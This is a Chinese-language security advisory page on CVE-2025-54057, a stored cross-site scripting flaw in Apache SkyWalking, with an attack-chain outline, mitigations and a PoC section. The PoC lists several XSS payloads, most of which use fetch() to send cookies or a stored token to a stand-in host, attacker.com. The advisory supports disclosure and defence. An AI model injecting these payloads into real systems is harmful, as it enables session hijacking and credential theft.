IPBUF安全漏洞报告
English
CVE-2025-54057 CVSS 6.1 中危

CVE-2025-54057: Apache SkyWalking 存储型XSS漏洞

披露日期: 2025-11-27

漏洞信息

漏洞编号
CVE-2025-54057
漏洞类型
XSS跨站脚本
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Apache SkyWalking

相关标签

CVE-2025-54057XSS跨站脚本Apache SkyWalking存储型XSSCWE-79Web安全中危漏洞CVSS 6.1

漏洞概述

CVE-2025-54057是Apache SkyWalking中存在的一个存储型跨站脚本(Stored XSS)漏洞,CVSS评分为6.1,属于中危级别。该漏洞源于Web应用程序对用户输入的脚本相关HTML标签未进行适当的过滤和转义处理,攻击者可以在网页中注入恶意JavaScript代码。当其他用户访问包含恶意脚本的页面时,这些脚本将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重安全威胁。Apache SkyWalking是一款开源的应用程序性能监控(APM)工具,广泛应用于微服务架构和分布式系统中。由于其通常需要收集和展示大量的应用数据,包括日志、追踪信息等,这为XSS攻击提供了潜在的注入点。攻击者利用该漏洞可以在监控面板中嵌入恶意脚本,影响所有查看相关数据的用户。Apache官方已在10.3.0版本中修复了此漏洞,建议所有使用受影响版本的用户尽快升级。

技术细节

该漏洞属于CWE-79(跨站脚本)类别,是Web应用程序中常见的安全缺陷。在Apache SkyWalking中,攻击者可以通过在特定输入字段中注入HTML或JavaScript代码来实现XSS攻击。由于应用程序未对用户输入进行充分的输入验证和输出编码,恶意脚本标签(如<script>、<img>、<iframe>等)可能被浏览器直接解析执行。攻击场景如下:攻击者首先需要能够向SkyWalking系统提交数据(如服务名称、端点标记、日志内容等),然后在数据中嵌入恶意JavaScript代码。当其他用户通过Web界面浏览这些数据时,浏览器会将其作为可信内容执行,从而触发XSS漏洞。成功利用此漏洞的攻击者可以窃取受害者的会话Cookie、冒充用户执行操作、重定向用户到钓鱼网站,或在用户不知情的情况下修改页面内容。防御此类漏洞需要实施多层防护策略,包括输入验证、输出编码、Content Security Policy(CSP)等。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标系统使用的Apache SkyWalking版本,确认版本号 <= 10.2.0
STEP 2
步骤2: 寻找注入点
攻击者寻找SkyWalking中可注入XSS Payload的输入点,如服务名称、端点标记、日志内容、追踪注释等用户可控字段
STEP 3
步骤3: 注入恶意代码
攻击者构造XSS Payload(如<script>alert(document.cookie)</script>)并提交到SkyWalking系统,恶意代码被存储在数据库中
STEP 4
步骤4: 等待受害者访问
当其他用户(受害者)通过Web界面访问包含恶意脚本的页面时,浏览器会执行注入的JavaScript代码
STEP 5
步骤5: 窃取敏感信息
恶意脚本执行后,可以窃取受害者的Cookie、Session Token、用户凭据等敏感信息,并发送到攻击者控制的服务器
STEP 6
步骤6: 会话劫持
攻击者利用窃取的会话信息冒充受害者进行非法操作,如修改配置、窃取数据或进一步渗透系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-54057 PoC - Apache SkyWalking Stored XSS --> <!-- This PoC demonstrates the XSS vulnerability in Apache SkyWalking --> <!-- Target: Apache SkyWalking <= 10.2.0 --> <!-- Method 1: Using script tag --> <script>alert(document.cookie)</script> <!-- Method 2: Using img onerror handler --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Method 3: Using SVG element --> <svg/onload=fetch('https://attacker.com/log?data='+localStorage.getItem('token'))> <!-- Method 4: Using iframe --> <iframe src="javascript:fetch('https://attacker.com/xss?c='+document.cookie)"> <!-- Method 5: Using event handlers --> <body onload="fetch('https://attacker.com/cookie?c='+btoa(document.cookie))"> <div onclick="fetch('https://attacker.com/click?x='+Math.random())">Click me</div> <!-- Attacker would inject one of these payloads into: --> <!-- - Service names --> <!-- - Endpoint descriptions --> <!-- - Log messages --> <!-- - Trace annotations --> <!-- - User-defined tags --> <!-- After injection, any user viewing the affected page will execute the malicious script -->

影响范围

Apache SkyWalking <= 10.2.0

防御指南

临时缓解措施
如果无法立即升级到最新版本,可以采取以下临时缓解措施:1)通过Web应用防火墙规则过滤包含<script>、javascript:等危险标签的请求;2)禁用不必要的用户输入功能或限制可提交数据的用户权限;3)实施严格的输入验证规则,拒绝包含特殊字符的输入;4)启用浏览器的XSS过滤器作为临时防护;5)监控SkyWalking系统的异常访问和请求日志,及时发现潜在的注入攻击行为。建议在条件允许时尽快完成版本升级以彻底修复该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表